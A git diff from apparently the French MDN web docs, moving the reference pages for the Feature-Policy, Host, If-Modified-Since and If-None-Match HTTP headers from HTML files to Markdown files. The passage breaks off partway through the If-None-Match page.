L'en-tête HTTP Feature-Policy est un mécanisme permettant de permettre ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans ceux de tous les éléments {{HTMLElement("iframe")}} que le document contient.

- -
-

Note : Cet en-tête est toujours au stade expérimental, et est sujet à être modifié à tout moment. Méfiez-vous en si vous souhaitez l'implanter sur vos sites. Il a maintenant été renommé Permissions-Policy dans la spécification, et cet article sera mis à jour pour refléter ce changement.

-
- -

Pour plus d'informations, vour l'article principal sur Feature Policy.

- - - - - - - - - - - - -
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}oui
- -

Syntaxe

- -
Feature-Policy: <directive> <allowlist>
- -
-
<directive>
-
La directive de Feature Policy sur laquelle appliquer la liste de permissions allowlist. Voir {{anch("Directives")}} ci-dessous pour une liste des noms de directives autorisés.
-
<allowlist>
-
{{page("Web/HTTP/Feature_Policy/Using_Feature_Policy", "allowlist")}}
-
- -

Directives

- -
-
{{httpheader('Feature-Policy/accelerometer','accelerometer')}}
-
Contrôle si le document courant est autorisé à recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{DOMxRef("Accelerometer")}}.
-
{{httpheader('Feature-Policy/ambient-light-sensor','ambient-light-sensor')}}
-
Contrôle si le le document courant est autorisé à recueillir des informations à propos de la luminosité ambiante de l'appareil au moyen de l'interface {{DOMxRef("AmbientLightSensor")}}.
-
{{httpheader('Feature-Policy/autoplay','autoplay')}}
-
Contrôle si le document courant est autorisé à jouer automatiquement des médias chargés au moyen de l'interface {{domxref("HTMLMediaElement")}}. Quand cette fonctionnalité est désactivée et qu'il n'y a pas eu d'action de la part de l'utilisateur, la promesse ({{jsxref("Promise")}}) retournée par {{domxref("HTMLMediaElement.play()")}} sera rejetée avec une exception {{domxref("DOMException")}}. L'attribut autoplay sur les éléments {{HTMLELement("audio")}} et {{HTMLElement("video")}} sera ignoré.
-
{{httpheader('Feature-Policy/battery','battery')}}
-
Contrôle si l'utilisation de l'API Battery Status est autorisé. Quand cette fonctionnalité est désactivée, la promesse retournée par {{DOMxRef("Navigator.getBattery","Navigator.getBattery()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}.
-
{{httpheader('Feature-Policy/camera', 'camera')}}
-
Contrôle si le document courant est autorisé à utiliser l'appareil photographique du système. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}.
-
{{HTTPHeader('Feature-Policy/display-capture', 'display-capture')}}
-
Contrôle si le document courant est autorisé ou non à utiliser la méthode {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} pour effectuer une capture d'écran. Quand cette fonctionnalité est désactivée, la promesse retounrée par getDisplayMedia() sera rejetée avec une exception {{Exception("NotAllowedError")}} si la permission de prendre une capture d'écran n'est pas obtenue.
-
{{httpheader('Feature-Policy/document-domain','document-domain')}}
-
Contrôle si le document courant est autorisé à définir la propriété {{domxref("document.domain")}}. Quand cette directive est désactivée, tenter de modifier {{domxref("document.domain")}} échouera et lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}.
-
{{httpheader('Feature-Policy/encrypted-media', 'encrypted-media')}}
-
Contrôle si le document courant est autorisé à utiliser l'API Encrypted Media Extensions (EME). Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.requestMediaKeySystemAccess()")}} sera rejecté avec une {{domxref("DOMException")}}.
-
{{httpheader('Feature-Policy/execution-while-not-rendered', 'execution-while-not-rendered')}}
-
Contrôle si les tâches des cadres doivent être exécutées s'ils ne seront pas rendus à l'écran (par exemple si un <iframe> est hidden ou display: none).
-
{{httpheader('Feature-Policy/execution-while-out-of-viewport', 'execution-while-out-of-viewport')}}
-
Contrôle si les tâches des cadres doivent être exécutées quand ils sont en dehors du cadre visible.
-
- -
-
{{httpheader('Feature-Policy/fullscreen','fullscreen')}}
-
Contrôle si le document courant est autorisé à utiliser {{DOMxRef("Element.requestFullScreen()")}}. Quand cette directive est désactivée, la promesse retournée sera rejetée avec une exception {{JSxRef("TypeError")}}.
-
{{httpheader('Feature-Policy/geolocation','geolocation')}}
-
Contrôle si le document courant est autorisé à utiliser l'interface {{domxref('Geolocation')}}. Quand cette directive est désactivée, les appels à {{domxref('Geolocation.getCurrentPosition','getCurrentPosition()')}} et {{domxref('Geolocation.watchPosition','watchPosition()')}} causeront un appel de leurs fonctions de rappel avec une exception {{domxref('PositionError')}} dont le code est PERMISSION_DENIED.
-
{{httpheader('Feature-Policy/gyroscope','gyroscope')}}
-
Contrôle si le document courant est autorisé à recueillir des informations à propos de l'orientation de l'appareil au moyen de l'interface {{DOMxRef("Gyroscope")}}.
-
{{httpheader('Feature-Policy/layout-animations','layout-animations')}}
-
Contrôle si le document courant est autorisé à afficher des animations de mise en page.
-
- -
-
{{httpheader('Feature-Policy/legacy-image-formats','legacy-image-formats')}}
-
Contrôle si le document courant est autorisé à afficher des images dans des formats du passé.
-
- -
-
{{httpheader('Feature-Policy/magnetometer','magnetometer')}}
-
Contrôle si le document courant est autorisé à recueillir des informations à propos de l'orientation au moyen de l'interface {{DOMxRef("Magnetometer")}}.
-
{{httpheader('Feature-Policy/microphone','microphone')}}
-
Contrôle si le document courant est autorisé à utiliser le microphone de l'appareil. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia()")}} sera rejetée avec une exception {{Exception("NotAllowedError")}}.
-
{{httpheader('Feature-Policy/midi', 'midi')}}
-
Contrôle si le document courant est autorisé à utiliser l'API Web MIDI. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("Navigator.requestMIDIAccess()")}} sera rejetée avec une exception {{domxref("DOMException")}}.
-
{{httpheader('Feature-Policy/navigation-override','navigation-override')}}
-
Contrôle la disponibilité des mécanismes qui permettent à l'auteur de la page de prendre le contrôle sur le comportment de la navigation spatiale, ou de l'annuler complètement.
-
{{httpheader('Feature-Policy/oversized-images','oversized-images')}}
-
Contrôle si le document courant est autorisé à télécharger et afficher des images lourdes.
-
{{httpheader('Feature-Policy/payment', 'payment')}}
-
Contrôle si le document courant est autorisé à utiliser l'API Payment Request. Quand cette directive est désactivée, le constructeur {{domxref("PaymentRequest","PaymentRequest()")}} lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}.
-
{{httpheader('Feature-Policy/picture-in-picture', 'picture-in-picture')}}
-
Controls whether the current document is allowed to play a video in a Picture-in-Picture mode via the corresponding API.
-
{{httpheader("Feature-Policy/publickey-credentials-get", "publickey-credentials-get")}}
-
Contrôle si le document courant est autorisé à use the Web Authentication API to retreive already stored public-key credentials, i.e. via {{domxref("CredentialsContainer.get","navigator.credentials.get({publicKey: ..., ...})")}}.
-
{{httpheader('Feature-Policy/sync-xhr', 'sync-xhr')}}
-
Contrôle si le document courant est autorisé à make synchronous {{DOMxRef("XMLHttpRequest")}} requests.
-
{{httpheader('Feature-Policy/usb', 'usb')}}
-
Contrôle si le document courant est autorisé à use the WebUSB API.
-
{{httpheader('Feature-Policy/vr', 'vr')}} {{deprecated_inline}}
-
Contrôle si le document courant est autorisé à use the WebVR API. Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.getVRDisplays","Navigator.getVRDisplays()")}} sera rejetée avec une {{domxref("DOMException")}}. Gardez en tête que la norme WebVR est en cours de remplacement au profit de WebXR.
-
{{httpheader('Feature-Policy/wake-lock', 'wake-lock')}}
-
Contrôle si le document courant est autorisé à utiliser l'API Wake Lock pour indiquer que l'appareil ne devrait se mettre en veille.
-
{{httpheader('Feature-Policy/screen-wake-lock', 'screen-wake-lock')}}
-
Contrôle si le document courant est autorisé à utiliser l'API Screen Wake Lock pour indiquer que l'appareil ne devrait pas assombrir ou éteindre l'écran.
-
{{httpheader("Feature-Policy/web-share", "web-share")}}
-
Contrôle si le document courant est autorisé à utiliser la méthode {{domxref("Navigator.share","Navigator.share()")}} de l'API Web Share pour partager du texte, des liens, des images et d'autres contenus à des destinations arbitraires sur le choix de l'utilisateur, par exemple à des applications mobiles.
-
{{httpheader("Feature-Policy/xr-spatial-tracking", "xr-spatial-tracking")}}
-
Contrôle si le document courant est autorisé à utiliser l'API WebXR Device pour interagir avec une WebXR.
-
- -

Exemple

- -

SecureCorp Inc. souhaite désactiver les API du microphone et de géolocalisation dans son application. Elle peut le faire en délivrant l'en-tête de réponse HTTP suivant pour définir une réglementation des fonctionnalités :

- -
Feature-Policy: microphone 'none'; geolocation 'none'
- -

En spécifiant la valeur 'none' pour liste des origines, les fonctionnalités auquel la valeur est appliquée seront désactivées pour tous les contextes de navigation (incluant tout les cadres <iframe>), quelle que soit leur origine.

- -

Spécifications

- - - - - - - - - - - - -
Spécification
Permissions Policy
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Feature-Policy")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/feature-policy/index.md b/files/fr/web/http/headers/feature-policy/index.md new file mode 100644 index 0000000000..355056996d --- /dev/null +++ b/files/fr/web/http/headers/feature-policy/index.md @@ -0,0 +1,161 @@ +--- +title: Feature-Policy +slug: Web/HTTP/Headers/Feature-Policy +tags: + - Authorization + - Experimental + - Feature Policy + - Feature-Policy + - HTTP + - Permissions + - Reference + - Security + - Web + - header +translation_of: Web/HTTP/Headers/Feature-Policy +--- +
{{HTTPSidebar}}
+ +

L'en-tête HTTP Feature-Policy est un mécanisme permettant de permettre ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans ceux de tous les éléments {{HTMLElement("iframe")}} que le document contient.

+ +
+

Note : Cet en-tête est toujours au stade expérimental, et est sujet à être modifié à tout moment. Méfiez-vous en si vous souhaitez l'implanter sur vos sites. Il a maintenant été renommé Permissions-Policy dans la spécification, et cet article sera mis à jour pour refléter ce changement.

+
+ +

Pour plus d'informations, vour l'article principal sur Feature Policy.

+ + + + + + + + + + + + +
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}oui
+ +

Syntaxe

+ +
Feature-Policy: <directive> <allowlist>
+ +
+
<directive>
+
La directive de Feature Policy sur laquelle appliquer la liste de permissions allowlist. Voir {{anch("Directives")}} ci-dessous pour une liste des noms de directives autorisés.
+
<allowlist>
+
{{page("Web/HTTP/Feature_Policy/Using_Feature_Policy", "allowlist")}}
+
+ +

Directives

+ +
+
{{httpheader('Feature-Policy/accelerometer','accelerometer')}}
+
Contrôle si le document courant est autorisé à recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{DOMxRef("Accelerometer")}}.
+
{{httpheader('Feature-Policy/ambient-light-sensor','ambient-light-sensor')}}
+
Contrôle si le le document courant est autorisé à recueillir des informations à propos de la luminosité ambiante de l'appareil au moyen de l'interface {{DOMxRef("AmbientLightSensor")}}.
+
{{httpheader('Feature-Policy/autoplay','autoplay')}}
+
Contrôle si le document courant est autorisé à jouer automatiquement des médias chargés au moyen de l'interface {{domxref("HTMLMediaElement")}}. Quand cette fonctionnalité est désactivée et qu'il n'y a pas eu d'action de la part de l'utilisateur, la promesse ({{jsxref("Promise")}}) retournée par {{domxref("HTMLMediaElement.play()")}} sera rejetée avec une exception {{domxref("DOMException")}}. L'attribut autoplay sur les éléments {{HTMLELement("audio")}} et {{HTMLElement("video")}} sera ignoré.
+
{{httpheader('Feature-Policy/battery','battery')}}
+
Contrôle si l'utilisation de l'API Battery Status est autorisé. Quand cette fonctionnalité est désactivée, la promesse retournée par {{DOMxRef("Navigator.getBattery","Navigator.getBattery()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}.
+
{{httpheader('Feature-Policy/camera', 'camera')}}
+
Contrôle si le document courant est autorisé à utiliser l'appareil photographique du système. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}.
+
{{HTTPHeader('Feature-Policy/display-capture', 'display-capture')}}
+
Contrôle si le document courant est autorisé ou non à utiliser la méthode {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} pour effectuer une capture d'écran. Quand cette fonctionnalité est désactivée, la promesse retounrée par getDisplayMedia() sera rejetée avec une exception {{Exception("NotAllowedError")}} si la permission de prendre une capture d'écran n'est pas obtenue.
+
{{httpheader('Feature-Policy/document-domain','document-domain')}}
+
Contrôle si le document courant est autorisé à définir la propriété {{domxref("document.domain")}}. Quand cette directive est désactivée, tenter de modifier {{domxref("document.domain")}} échouera et lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}.
+
{{httpheader('Feature-Policy/encrypted-media', 'encrypted-media')}}
+
Contrôle si le document courant est autorisé à utiliser l'API Encrypted Media Extensions (EME). Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.requestMediaKeySystemAccess()")}} sera rejecté avec une {{domxref("DOMException")}}.
+
{{httpheader('Feature-Policy/execution-while-not-rendered', 'execution-while-not-rendered')}}
+
Contrôle si les tâches des cadres doivent être exécutées s'ils ne seront pas rendus à l'écran (par exemple si un <iframe> est hidden ou display: none).
+
{{httpheader('Feature-Policy/execution-while-out-of-viewport', 'execution-while-out-of-viewport')}}
+
Contrôle si les tâches des cadres doivent être exécutées quand ils sont en dehors du cadre visible.
+
+ +
+
{{httpheader('Feature-Policy/fullscreen','fullscreen')}}
+
Contrôle si le document courant est autorisé à utiliser {{DOMxRef("Element.requestFullScreen()")}}. Quand cette directive est désactivée, la promesse retournée sera rejetée avec une exception {{JSxRef("TypeError")}}.
+
{{httpheader('Feature-Policy/geolocation','geolocation')}}
+
Contrôle si le document courant est autorisé à utiliser l'interface {{domxref('Geolocation')}}. Quand cette directive est désactivée, les appels à {{domxref('Geolocation.getCurrentPosition','getCurrentPosition()')}} et {{domxref('Geolocation.watchPosition','watchPosition()')}} causeront un appel de leurs fonctions de rappel avec une exception {{domxref('PositionError')}} dont le code est PERMISSION_DENIED.
+
{{httpheader('Feature-Policy/gyroscope','gyroscope')}}
+
Contrôle si le document courant est autorisé à recueillir des informations à propos de l'orientation de l'appareil au moyen de l'interface {{DOMxRef("Gyroscope")}}.
+
{{httpheader('Feature-Policy/layout-animations','layout-animations')}}
+
Contrôle si le document courant est autorisé à afficher des animations de mise en page.
+
+ +
+
{{httpheader('Feature-Policy/legacy-image-formats','legacy-image-formats')}}
+
Contrôle si le document courant est autorisé à afficher des images dans des formats du passé.
+
+ +
+
{{httpheader('Feature-Policy/magnetometer','magnetometer')}}
+
Contrôle si le document courant est autorisé à recueillir des informations à propos de l'orientation au moyen de l'interface {{DOMxRef("Magnetometer")}}.
+
{{httpheader('Feature-Policy/microphone','microphone')}}
+
Contrôle si le document courant est autorisé à utiliser le microphone de l'appareil. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia()")}} sera rejetée avec une exception {{Exception("NotAllowedError")}}.
+
{{httpheader('Feature-Policy/midi', 'midi')}}
+
Contrôle si le document courant est autorisé à utiliser l'API Web MIDI. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("Navigator.requestMIDIAccess()")}} sera rejetée avec une exception {{domxref("DOMException")}}.
+
{{httpheader('Feature-Policy/navigation-override','navigation-override')}}
+
Contrôle la disponibilité des mécanismes qui permettent à l'auteur de la page de prendre le contrôle sur le comportment de la navigation spatiale, ou de l'annuler complètement.
+
{{httpheader('Feature-Policy/oversized-images','oversized-images')}}
+
Contrôle si le document courant est autorisé à télécharger et afficher des images lourdes.
+
{{httpheader('Feature-Policy/payment', 'payment')}}
+
Contrôle si le document courant est autorisé à utiliser l'API Payment Request. Quand cette directive est désactivée, le constructeur {{domxref("PaymentRequest","PaymentRequest()")}} lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}.
+
{{httpheader('Feature-Policy/picture-in-picture', 'picture-in-picture')}}
+
Controls whether the current document is allowed to play a video in a Picture-in-Picture mode via the corresponding API.
+
{{httpheader("Feature-Policy/publickey-credentials-get", "publickey-credentials-get")}}
+
Contrôle si le document courant est autorisé à use the Web Authentication API to retreive already stored public-key credentials, i.e. via {{domxref("CredentialsContainer.get","navigator.credentials.get({publicKey: ..., ...})")}}.
+
{{httpheader('Feature-Policy/sync-xhr', 'sync-xhr')}}
+
Contrôle si le document courant est autorisé à make synchronous {{DOMxRef("XMLHttpRequest")}} requests.
+
{{httpheader('Feature-Policy/usb', 'usb')}}
+
Contrôle si le document courant est autorisé à use the WebUSB API.
+
{{httpheader('Feature-Policy/vr', 'vr')}} {{deprecated_inline}}
+
Contrôle si le document courant est autorisé à use the WebVR API. Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.getVRDisplays","Navigator.getVRDisplays()")}} sera rejetée avec une {{domxref("DOMException")}}. Gardez en tête que la norme WebVR est en cours de remplacement au profit de WebXR.
+
{{httpheader('Feature-Policy/wake-lock', 'wake-lock')}}
+
Contrôle si le document courant est autorisé à utiliser l'API Wake Lock pour indiquer que l'appareil ne devrait se mettre en veille.
+
{{httpheader('Feature-Policy/screen-wake-lock', 'screen-wake-lock')}}
+
Contrôle si le document courant est autorisé à utiliser l'API Screen Wake Lock pour indiquer que l'appareil ne devrait pas assombrir ou éteindre l'écran.
+
{{httpheader("Feature-Policy/web-share", "web-share")}}
+
Contrôle si le document courant est autorisé à utiliser la méthode {{domxref("Navigator.share","Navigator.share()")}} de l'API Web Share pour partager du texte, des liens, des images et d'autres contenus à des destinations arbitraires sur le choix de l'utilisateur, par exemple à des applications mobiles.
+
{{httpheader("Feature-Policy/xr-spatial-tracking", "xr-spatial-tracking")}}
+
Contrôle si le document courant est autorisé à utiliser l'API WebXR Device pour interagir avec une WebXR.
+
+ +

Exemple

+ +

SecureCorp Inc. souhaite désactiver les API du microphone et de géolocalisation dans son application. Elle peut le faire en délivrant l'en-tête de réponse HTTP suivant pour définir une réglementation des fonctionnalités :

+ +
Feature-Policy: microphone 'none'; geolocation 'none'
+ +

En spécifiant la valeur 'none' pour liste des origines, les fonctionnalités auquel la valeur est appliquée seront désactivées pour tous les contextes de navigation (incluant tout les cadres <iframe>), quelle que soit leur origine.

+ +

Spécifications

+ + + + + + + + + + + + +
Spécification
Permissions Policy
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Feature-Policy")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/host/index.html b/files/fr/web/http/headers/host/index.html deleted file mode 100644 index 60f8030ed8..0000000000 --- a/files/fr/web/http/headers/host/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Host -slug: Web/HTTP/Headers/Host -tags: - - HTTP - - Reference - - en-tête -translation_of: Web/HTTP/Headers/Host ---- -
{{HTTPSidebar}}
- -

L'en-tête de requête Host spécifie le nom de domaine du serveur (pour de l'hébergement virtuel), et (optionnellement) le numéro du port TCP sur lequel le serveur écoute.

- -

Si aucun port n'est donné, le port par défaut du service demandé sera utilisé (par exemple, "80" pour une URL HTTP).

- -

Un champ d'en-tête Host doit être envoyé dans tous les messages de requête HTTP/1.1. Un code HTTP {{HTTPStatus("400")}} (Bad Request) sera envoyé à tout message de requette HTTP/1.1 ne contenant pas un champ d'en-tête Host ou qui en contient plus d'un.

- - - - - - - - - - - - -
Type d'en-tête{{Glossary("Request header","En-tête de requête")}}
{{Glossary("Forbidden header name"," Nom d'en-tête interdit ")}}Oui
- -

Syntaxe

- -
Host: <host>:<port>
-
- -

Directives

- -
-
<host>
-
le nom de domaine du serveur (pour de l'hébergement virtuel).
-
<port> {{optional_inline}}
-
numéro de port TCP sur lequel le serveur écoute.
-
- -

Exemples

- -
Host: developer.mozilla.org
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7230", "Host", "5.4")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
- -

Compatibilité des navigateurs

- -

{{Compat("http.headers.Host")}}

- -

Voir aussi

- - diff --git a/files/fr/web/http/headers/host/index.md b/files/fr/web/http/headers/host/index.md new file mode 100644 index 0000000000..60f8030ed8 --- /dev/null +++ b/files/fr/web/http/headers/host/index.md @@ -0,0 +1,73 @@ +--- +title: Host +slug: Web/HTTP/Headers/Host +tags: + - HTTP + - Reference + - en-tête +translation_of: Web/HTTP/Headers/Host +--- +
{{HTTPSidebar}}
+ +

L'en-tête de requête Host spécifie le nom de domaine du serveur (pour de l'hébergement virtuel), et (optionnellement) le numéro du port TCP sur lequel le serveur écoute.

+ +

Si aucun port n'est donné, le port par défaut du service demandé sera utilisé (par exemple, "80" pour une URL HTTP).

+ +

Un champ d'en-tête Host doit être envoyé dans tous les messages de requête HTTP/1.1. Un code HTTP {{HTTPStatus("400")}} (Bad Request) sera envoyé à tout message de requette HTTP/1.1 ne contenant pas un champ d'en-tête Host ou qui en contient plus d'un.

+ + + + + + + + + + + + +
Type d'en-tête{{Glossary("Request header","En-tête de requête")}}
{{Glossary("Forbidden header name"," Nom d'en-tête interdit ")}}Oui
+ +

Syntaxe

+ +
Host: <host>:<port>
+
+ +

Directives

+ +
+
<host>
+
le nom de domaine du serveur (pour de l'hébergement virtuel).
+
<port> {{optional_inline}}
+
numéro de port TCP sur lequel le serveur écoute.
+
+ +

Exemples

+ +
Host: developer.mozilla.org
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("7230", "Host", "5.4")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
+ +

Compatibilité des navigateurs

+ +

{{Compat("http.headers.Host")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/headers/if-modified-since/index.html b/files/fr/web/http/headers/if-modified-since/index.html deleted file mode 100644 index 36597ba724..0000000000 --- a/files/fr/web/http/headers/if-modified-since/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: If-Modified-Since -slug: Web/HTTP/Headers/If-Modified-Since -tags: - - HTTP - - Reference -translation_of: Web/HTTP/Headers/If-Modified-Since ---- -
{{HTTPSidebar}}
- -

L'entête de requête HTTP If-Modified-Since rend la requête conditionnelle : le serveur renverra la ressource demandée, avec un status {{HTTPStatus("200")}}, seulement si elle a été modifiée pour la dernière fois après la date donnée. Si la ressource n'a pas été modifiée depuis, la réponse sera un {{HTTPStatus("304")}} sans aucun contenu; le header {{HTTPHeader("Last-Modified")}} contiendra la date de la dernière modification. À l'inverse de {{HTTPHeader("If-Unmodified-Since")}}, If-Modified-Since ne peut être utilisé qu'avec un {{HTTPMethod("GET")}} ou un {{HTTPMethod("HEAD")}}.

- -

Lorsqu'il est combiné avec {{HTTPHeader("If-None-Match")}}, il est ignoré, à moins que le serveur ne supporte pas If-None-Match.

- -

Le cas d'usage le plus courant est la mise-à-jour d'une entité cachée qui n'a pas de {{HTTPHeader("ETag")}} associé.

- - - - - - - - - - - - -
Type d'entête{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}non
- -

Syntaxe

- -
If-Modified-Since: <label-jour>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT
-
- -

Directives

- -
-
<label-jour>
-
Parmis : "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensible à la casse).
-
<jour>
-
2 chiffres du numéro du jour, par ex. "04" or "23".
-
<mois>
-
Parmis : "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).
-
<année>
-
4 chiffres de l'année, par ex. "1990" ou "2016".
-
<heure>
-
2 chiffres du numéro de l'heure, par ex. "09" ou "23".
-
<minute>
-
2 chiffres des minutes, par ex. "04" or "59".
-
<seconde>
-
2 chiffres des secondes, par ex. "04" or "59".
-
GMT
-
-

Greenwich Mean Time. Les dates HTTP sont toujours exprimées en GMT, jamais en temps localisé.

-
-
- -

Exemples

- -
If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
-
- -

Specifications

- - - - - - - - - - - - -
SpecificationTitre
{{RFC("7232", "If-Modified-Since", "3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
- -

Compatibility avec les navigateurs

- -

{{Compat("http.headers.If-Modified-Since")}}

- -

À voir aussi

- - diff --git a/files/fr/web/http/headers/if-modified-since/index.md b/files/fr/web/http/headers/if-modified-since/index.md new file mode 100644 index 0000000000..36597ba724 --- /dev/null +++ b/files/fr/web/http/headers/if-modified-since/index.md @@ -0,0 +1,90 @@ +--- +title: If-Modified-Since +slug: Web/HTTP/Headers/If-Modified-Since +tags: + - HTTP + - Reference +translation_of: Web/HTTP/Headers/If-Modified-Since +--- +
{{HTTPSidebar}}
+ +

L'entête de requête HTTP If-Modified-Since rend la requête conditionnelle : le serveur renverra la ressource demandée, avec un status {{HTTPStatus("200")}}, seulement si elle a été modifiée pour la dernière fois après la date donnée. Si la ressource n'a pas été modifiée depuis, la réponse sera un {{HTTPStatus("304")}} sans aucun contenu; le header {{HTTPHeader("Last-Modified")}} contiendra la date de la dernière modification. À l'inverse de {{HTTPHeader("If-Unmodified-Since")}}, If-Modified-Since ne peut être utilisé qu'avec un {{HTTPMethod("GET")}} ou un {{HTTPMethod("HEAD")}}.

+ +

Lorsqu'il est combiné avec {{HTTPHeader("If-None-Match")}}, il est ignoré, à moins que le serveur ne supporte pas If-None-Match.

+ +

Le cas d'usage le plus courant est la mise-à-jour d'une entité cachée qui n'a pas de {{HTTPHeader("ETag")}} associé.

+ + + + + + + + + + + + +
Type d'entête{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}non
+ +

Syntaxe

+ +
If-Modified-Since: <label-jour>, <jour> <mois> <année> <heure>:<minute>:<seconde> GMT
+
+ +

Directives

+ +
+
<label-jour>
+
Parmis : "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensible à la casse).
+
<jour>
+
2 chiffres du numéro du jour, par ex. "04" or "23".
+
<mois>
+
Parmis : "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).
+
<année>
+
4 chiffres de l'année, par ex. "1990" ou "2016".
+
<heure>
+
2 chiffres du numéro de l'heure, par ex. "09" ou "23".
+
<minute>
+
2 chiffres des minutes, par ex. "04" or "59".
+
<seconde>
+
2 chiffres des secondes, par ex. "04" or "59".
+
GMT
+
+

Greenwich Mean Time. Les dates HTTP sont toujours exprimées en GMT, jamais en temps localisé.

+
+
+ +

Exemples

+ +
If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
+
+ +

Specifications

+ + + + + + + + + + + + +
SpecificationTitre
{{RFC("7232", "If-Modified-Since", "3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
+ +

Compatibility avec les navigateurs

+ +

{{Compat("http.headers.If-Modified-Since")}}

+ +

À voir aussi

+ + diff --git a/files/fr/web/http/headers/if-none-match/index.html b/files/fr/web/http/headers/if-none-match/index.html deleted file mode 100644 index 1a1a0c505c..0000000000 --- a/files/fr/web/http/headers/if-none-match/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: If-None-Match -slug: Web/HTTP/Headers/If-None-Match -tags: - - En-tête HTTP - - En-tête de requête - - HTTP - - Reference - - Requêtes Conditionnelles -translation_of: Web/HTTP/Headers/If-None-Match ---- -
 
- -

L'en-tête de requête HTTP If-None-Match permet de conditionner la requête. Pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur renvoie la ressource demandée, avec un statut {{HTTPStatus("200")}}, seulement si elle n'a pas un {{HTTPHeader("ETag")}} correspondant à ceux fournis. Pour les autres méthodes, la requête ne sera traitée que si l'{{HTTPHeader("ETag")}} de l'éventuelle ressource existante ne correspond à aucune des valeurs listées.

- -

Quand la condition échoue pour les méthodes {{HTTPMethod("GET")}} et {{HTTPMethod("HEAD")}}, le serveur doit retourner un code statut HTTP 304 (Not Modified). Pour les méthodes appliquant des changements côté serveur, le code statut 412 (Precondition Failed) est utilisé. Notez que le serveur générant une réponse 304 DOIT générer toutes les en-têtes qui auraient été envoyées avec une réponse 200 (OK) à la même requête : Cache-Control, Content-Location, Date, ETag, Expires, and Vary.

- -

La comparaison avec l'{{HTTPHeader("ETag")}} stocké utilise l'algorithme de comparaison faible, c'est-à-dire que 2 fichiers sont considérés identiques pas seulement s'ils sont identiques octet à octet mais si leurs contenus sont équivalents. Par exemple, 2 pages dont seule la date de génération dans le pied de page diffère seraient considérées identiques.

- -

Quand utilisé avec {{HTTPHeader("If-Modified-Since")}}, il a la priorité (si le serveur le supporte).

- -

Il y a 2 cas d'utilisation communs:

- - - - - - - - - - - - - - -
Type d'en-tête{{Glossary("En-tête de requête")}}
{{Glossary("Nom d'en-tête interdit")}}non
- -

Syntax

- -
If-None-Match: "<valeur_etag>"
-If-None-Match: "<valeur_etag>", "<valeur_etag>", …
-If-None-Match: *
- -

Directives

- -
-
<etag_value>
-
Des tags d'entité représentant de façon unique les ressources demandées. Ce sont des chaînes de caractères ASCII entre guillemets doubles (comme "675af34563dc-tr34") et peuvent être préfixés par W/ pour indiquer que l'algorithme de comparaison faible doit être utilisé (inutile avec If-None-Match car il n'utilise que cet algorithme).
-
*
-
L'astérisque est une valeur spéciale représentant toute ressource. Ils ne sont utilies que quand on téléverse une ressource, habituellement avec {{HTTPMethod("PUT")}}, pour vérifier si une autre ressource avec cette identité a déjà été téléversée avant.
-
- -

Exemples

- -
If-None-Match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d"
-
-If-None-Match: W/"67ab43", "54ed21", "7892dd"
-
-If-None-Match: *
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitle
{{RFC("7232", "If-None-Match", "3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests
- -

Compatibilité navigateur

- -

